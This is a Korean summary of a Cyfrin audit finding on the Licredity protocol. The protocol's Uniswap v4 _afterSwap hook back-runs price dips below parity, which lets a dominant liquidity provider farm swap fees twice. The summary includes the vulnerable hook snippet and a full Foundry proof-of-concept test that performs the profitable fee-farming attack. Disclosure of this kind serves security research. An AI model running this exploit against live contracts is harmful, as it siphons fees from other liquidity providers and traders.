[Solodit] Self-triggered `Licredity::_afterSwap` back-run enables LP fee farming
개요
심각도 : High
언어 : Solidity
프로토콜 : Licredity
취약점 유형 : Logic Bug
이 리포트는 Licredity 프로토콜에서 Cyfrin이 발견한 자체 트리거(back-run)되는 _afterSwap 후킹 로직으로 인해 LP(유동성 공급자) 수수료 채굴(fee farming)이 가능한 취약점에 대해 설명한다.
코드
핵심 트리거 코드 (Licredity::_afterSwap)
if (sqrtPriceX96 <= ONE_SQRT_PRICE_X96) {
// back run swap to revert the effect of the current swap, using exactOut to account for fees
IPoolManager.SwapParams memory params = IPoolManager.SwapParams(
false, // zeroForOne: debt -> base (반대)
-balanceDelta.amount0(),
MAX_SQRT_PRICE_X96
);
balanceDelta = poolManager.swap(poolKey, params, "");
}
가격이 1이하로 내려가면(일반적으로 sqrtPriceX96 <= 1) 자동으로 반대 방향의 swap(back-run)을 수행해서 가격을 1 이상으로 다시 올린다. 이 back-run swap 과정에서 LP들이 두 번의 swap 수수료를 가져간다.
공격 PoC 코드
1. 공격자가 가격 1 주변에 유동성 집중 공급(아래 구간 -2~0에 매우 많은 양, 위 구간 0~2에 조금만)
2. swap으로 가격을 아주 약간 1 아래로 만든 후 수수료 획득
3. 후크가 즉시 반대 방향 swap(백런) 실행 → 또 수수료 획득
4. 마지막에 exchangeFungible 로 원금 실질적 회수
function test_abuse_backswap_fees() public {
address attacker = makeAddr("attacker");
// fund attacker with ETH and mint some debt for LP positions
vm.deal(attacker, 1000 ether);
getDebtERC20(attacker, 50 ether);
vm.startPrank(attacker);
IERC20(address(licredity)).approve(address(uniswapV4Router), type(uint256).max);
// 1) Attacker adds dominant narrow liquidity around parity on BOTH sides:
// below 1 -> captures fees while price dips (push leg + back-run leg)
// above 1 -> recoups the tiny portion of fees paid just above 1 when crossing
int256 L_below = 40_000 ether;
int256 L_above = 10_000 ether;
// Record attacker balances before attack
uint256 baseBefore = attacker.balance;
uint256 debtBefore = IERC20(address(licredity)).balanceOf(attacker);
// below 1: [-2, 0]
uniswapV4RouterHelper.addLiquidity(
attacker,
poolKey,
IPoolManager.ModifyLiquidityParams({
tickLower: -2,
tickUpper: 0,
liquidityDelta: L_below,
salt: ""
})
);
// above 1: [0, +2]
payable(address(uniswapV4Router)).transfer(1 ether);
uniswapV4RouterHelper.addLiquidity(
attacker,
poolKey,
IPoolManager.ModifyLiquidityParams({
tickLower: 0,
tickUpper: 2,
liquidityDelta: L_above,
salt: ""
})
);
vm.stopPrank();
// 2) Ensure starting price is a hair > 1 so we cross down through 1 on the push.
// Do a tiny oneForZero (debt -> base) to nudge price up.
uniswapV4RouterHelper.oneForZeroSwap(
attacker,
poolKey,
IPoolManager.SwapParams({
zeroForOne: false, // debt -> base
amountSpecified: int256(0.001 ether), // exact-in (tiny)
sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(3)
})
);
{
(uint160 sqrtP0,,,) = poolManager.getSlot0(poolKey.toId());
assertGt(sqrtP0, ONE_SQRT_PRICE_X96, "price should start slightly > 1");
}
vm.startPrank(attacker);
// 3) The attacker does the push: base -> debt (zeroForOne), exact-out debt,
// with a limit just below 1 so we do cross into price<=1 and trigger the hook’s back-run.
int256 debtOut = 2 ether;
for(uint256 i = 0 ; i < 1 ; i++) {
payable(address(uniswapV4Router)).transfer(uint256(debtOut));
uniswapV4RouterHelper.zeroForOneSwap(
attacker,
poolKey,
IPoolManager.SwapParams({
zeroForOne: true, // base -> debt
amountSpecified: -debtOut, // exact-out debt
sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(-3)
})
);
}
// hook's back-run (debt -> base, exact-out base) runs inside afterSwap
// Price should be restored to >= 1 by the hook’s back-run
{
(uint160 sqrtP1,,,) = poolManager.getSlot0(poolKey.toId());
assertGe(sqrtP1, ONE_SQRT_PRICE_X96, "post back-run price must be >= 1");
}
// 4) Pull the fees: remove BOTH attacker positions to collect base + debt fees.
uniswapV4RouterHelper.removeLiquidity(
attacker,
poolKey,
IPoolManager.ModifyLiquidityParams({
tickLower: -2,
tickUpper: 0,
liquidityDelta: -L_below,
salt: ""
})
);
uniswapV4RouterHelper.removeLiquidity(
attacker,
poolKey,
IPoolManager.ModifyLiquidityParams({
tickLower: 0,
tickUpper: 2,
liquidityDelta: -L_above,
salt: ""
})
);
vm.stopPrank();
// Attacker balances AFTER
uint256 baseAfter = attacker.balance;
uint256 debtAfter = IERC20(address(licredity)).balanceOf(attacker);
// 5) Value both legs ~at parity (1 debt ~= 1 base). Because the price is ~1,
// this notional comparison is a good proxy for profit from the fee mining.
uint256 notionalBefore = baseBefore + debtBefore;
uint256 notionalAfter = baseAfter + debtAfter;
// Expect positive drift from:
// - near-100% recoup of taker fees (attacker dominates both sides around 1)
// - plus back-run fees (paid in debt) captured below 1
assertGt(notionalAfter, notionalBefore, "drain should be profitable when attacker dominates both sides");
console.log("Profit from fee mining drain: %s", notionalAfter - notionalBefore);
}
공격자는 swap → 자동 back-run(two swaps) 호출로 두 번 LP 수수료를 수취하고 본인 유동성이 대부분이므로 거의 전부의 수수료를 본인이 가져가게 된다. 계정간 반복(loop)하며, 트레이더/시스템 자원이 공격자에게 지속적으로 유출된다.
레퍼런스
Smart Contract Vulnerability Dataset - Cyfrin Solodit
self-triggered-licredity_afterswap-back-run-enables-lp-fee-farming-cyfrin-none-licredity-markdown
solodit.cyfrin.io
solodit_content/reports/Cyfrin/2025-09-01-cyfrin-licredity-v2.0.md at main · solodit/solodit_content
Contribute to solodit/solodit_content development by creating an account on GitHub.
github.com